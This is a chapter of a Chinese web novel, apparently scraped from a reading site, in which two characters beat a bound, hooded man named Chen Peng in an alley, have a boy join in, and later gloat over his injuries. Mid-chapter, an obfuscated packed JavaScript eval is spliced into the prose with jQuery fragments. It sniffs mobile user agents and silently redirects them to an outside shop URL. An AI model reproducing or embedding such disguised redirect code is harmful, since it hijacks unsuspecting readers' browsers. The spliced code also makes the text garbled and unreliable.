黑沉沉的夜,漆黑的小巷口万籁俱寂。
一男一女隐匿在墙角,两人的脚边躺着一个男人,男人被蒙着头,还绑了手脚,蜷缩在地。
“打他。”
一道低沉的嗓音响起,声音不疾不徐,有一种安抚人心的力量。
“会有事吗?”
邹竞璞看向姜玉露,漆黑的夜里,暗光下,只能看到她的一个轮廓,以及那双迟疑不安的双眼。
“不会,一切都有我呢。”
笃定的话语,让姜玉露心里的兴奋如同被点燃的火苗,她点点头,低头看着脚边的人,抬起脚就是一踹。
脚下被捆成虾的人浑身一颤,嘴里发出痛苦的呜咽。
邹竞璞看着她一脚接一脚的踹,轻笑一声,走到巷口站着,一边望风一边看着她踹。
踹着踹着,不止姜玉露,就连邹竞璞都能感觉到陈鹏醒了,因为他挣扎得实在厉害。
如果没被堵着嘴,估计他已经对着他们大骂起来了。
“醒得这么快。”邹竞璞冷笑一笑,走动他面前,打算再弄晕他一次,姜玉露出手拦住他了。
“让我来。”
邹竞璞看着她,只见她手握成拳头,对着陈鹏头套下的眼睛就是一拳,动作快准狠,两只眼睛一边一拳。
邹竞璞挑了挑眉,姜玉露这一手,有点狠,又实在是高。
明天醒来,陈鹏的眼睛,必是青紫的,别人一看就知道他被人打了。
陈鹏浑身一顿,痛得他软塌塌摊着身体一动不动。
陈鹏喘气喘得跟牛似的,他又痛又恨,要不是嘴里塞着块布,他牙齿都要咬碎了。
到底是谁!是谁在打他!
他脑子里不停地闪过他接触过的人,跟他有仇的,是新来的治安队队长,但是声音又对不上。
还有谁!还有谁!
陈鹏想到挨的打,他恨得要吐血!谁敢打他!微海市谁不怕他?!
恨意让他不停地在地上蠕动,他挣扎着想坐起来,还真让他坐起来了。
然而,轻微的破风声钻进陈鹏的耳朵里,他直觉有危险,猛地僵住动作,想细听,突然,脸就又挨了一拳。
身体倒地,发生沉闷的声响。
温热的血喷涌而出。染红了套着他头的头套。
“唔唔唔!”陈鹏瞪大眼睛,嘴里悲愤地呜咽着。
该死!谁打他!
姜玉露有些嫌弃地收回手,看了看自己的手背,没看到有血,她轻轻松了口气。
“走吧。”姜玉露打够了。
邹竞璞点头,牵起她的手,拉着她往巷子外走去。
“他不用管吗?”
“放心,还有人没打他呢。”
姜玉露小声地啊了一声,“还有谁要打他?”
话落,就见有人小跑过来,她下意识地捂脸,不想让人看到她的脸。
看到邹竞璞无动于衷,她又抬手去捂他的脸。
黑暗中,邹竞璞眼睛被她指尖戳了一下,他察觉到她在干什么,愣了一下,嘴角慢慢上扬,她的举动有点戳人,有点可爱。
他抬手拿下她的手,“没事的。”
“防人之心不可无,”姜玉露劝不动他,但是她是要躲着的,她想了想,直接躲到邹竞璞身后。
“……”
邹竞璞反应过来她在做什么时,直接笑出声。
胸腔的震动传导到后背,姜玉露愤愤地拍了他一巴掌。
但是男人的后背也硬硬的,姜玉露反而把自己手给打痛了。
她眼睛一转,手落在了他腰上。
邹竞璞眉梢一动,反手将她的手握住,捏了捏,示意她别乱动。
巷子口的人已经跑到他们面前了,姜玉露悄悄看了眼,发现还是个小孩。
估计也就12,13岁左右的男孩。
果然,变声期的声音一出,听着就稚嫩得很。
“哥,我现在可以去打他了吗?”
姜玉露听着邹竞璞嗯了一声,“别把他打死就行,走的时候,把他的头套和嘴里的布拿开。”
姜玉露一听,用另一只没被抓住的手戳了戳邹竞璞的后腰,“要是他看见是谁打他的怎么办?”
到时候陈鹏不就知道是谁打他的吗?
就算只看到这个小孩,但是小孩之后把他们供出来了,怎么办?
她的声音不大不小,男孩听到,小心地往邹竞璞身后看了眼,姜玉露被他的动作吓到,连忙躲好。
男孩只看到了姜玉露躲藏的动作,惊觉不能多看,连忙低下头。
邹竞璞看向男孩,“你应该知道怎么避开你自己的嫌疑。”
男孩点头,“我知道!放心,我会小心的。”
邹竞璞嗯了一声。
男孩等了会,没听到邹竞璞继续说什么,知道自己该去打陈鹏了。他说了一声,就跑进巷子里了。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685796|204703||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
不一会儿,姜玉露便听到里面传出来的陈鹏的闷哼声。
站在原地听了会儿,听到陈鹏的声音,邹竞璞拉着姜玉露走了。
他们走远了,听到了陈鹏杀猪般的喊声,“救命啊!”
第二天,姜玉露还找孙衍辉去打听了陈鹏的情况。
孙衍辉看向她,“你也听说了?”
姜玉露看着他,“我听说了一些,你离他近,具体是什么情况。”
“昨晚他被人绑了,打得浑身是伤,叫了一宿,也没人帮他解绑,早上被环卫工发现,冻昏迷了,现在在医院,今早还有人问我要不要去医院看他。”
“你去了吗?”姜玉露追问。
孙衍辉奇怪地看了她一眼,“当然去了,他还是队长,我是他手底下的人。”但是让他可怜陈鹏,那是完全不可能的,他甚至还遗憾,陈鹏怎么不被打死呢。
“他现在什么样?”姜玉露继续追问。
孙衍辉听了,表情很怪异,他想起今天早上看到的陈鹏,他们去了十几个人,当时每个人的表情,都很难绷,都不敢对视,就怕一对视就笑。
他看向她,“你最想问的应该就是这个吧?”
“那你说不说?”
“眼睛被打得青黑,鼻梁断了,门牙掉了一颗,还有一只脚也被打断了,身上也有不少被打的痕迹。”
“活该!”姜玉露忍不住笑。
孙衍辉看了她一眼,姜玉露和他对视,“你也一样!以后你要是被人鼻梁打歪,我也觉得是活该的!”
“能不能盼我点好?!”
姜玉露冷哼:“看在我们父母有点关系的份上,我劝你还是远离他们,不然,你继续助纣为虐,呵呵,你死了我都高兴鼓掌。”
孙衍辉脸色黑沉,是好是坏他现在能分辨出来,“你说离开就离开,你以为这么容易的吗?!”
姜玉露看了他一眼,心情很美妙,“看来你是知道自己进错行了。”
“……”
斗完嘴,姜玉露认真开口,“你还是赶紧离开他们吧,不然以后别人回过神来,不止陈鹏要死,你也难逃一死。”
姜玉露想起了书里红袖章们的结局,有人死有人被关押,反正参与迫害别人的,都是死路一条。
姜玉露说完,也不管孙衍辉什么反应,头也不回地走了,她要回去和邹竞璞分享陈鹏的消息,说不定邹竞璞还会乐意和她去医院“探访”一下陈鹏呢。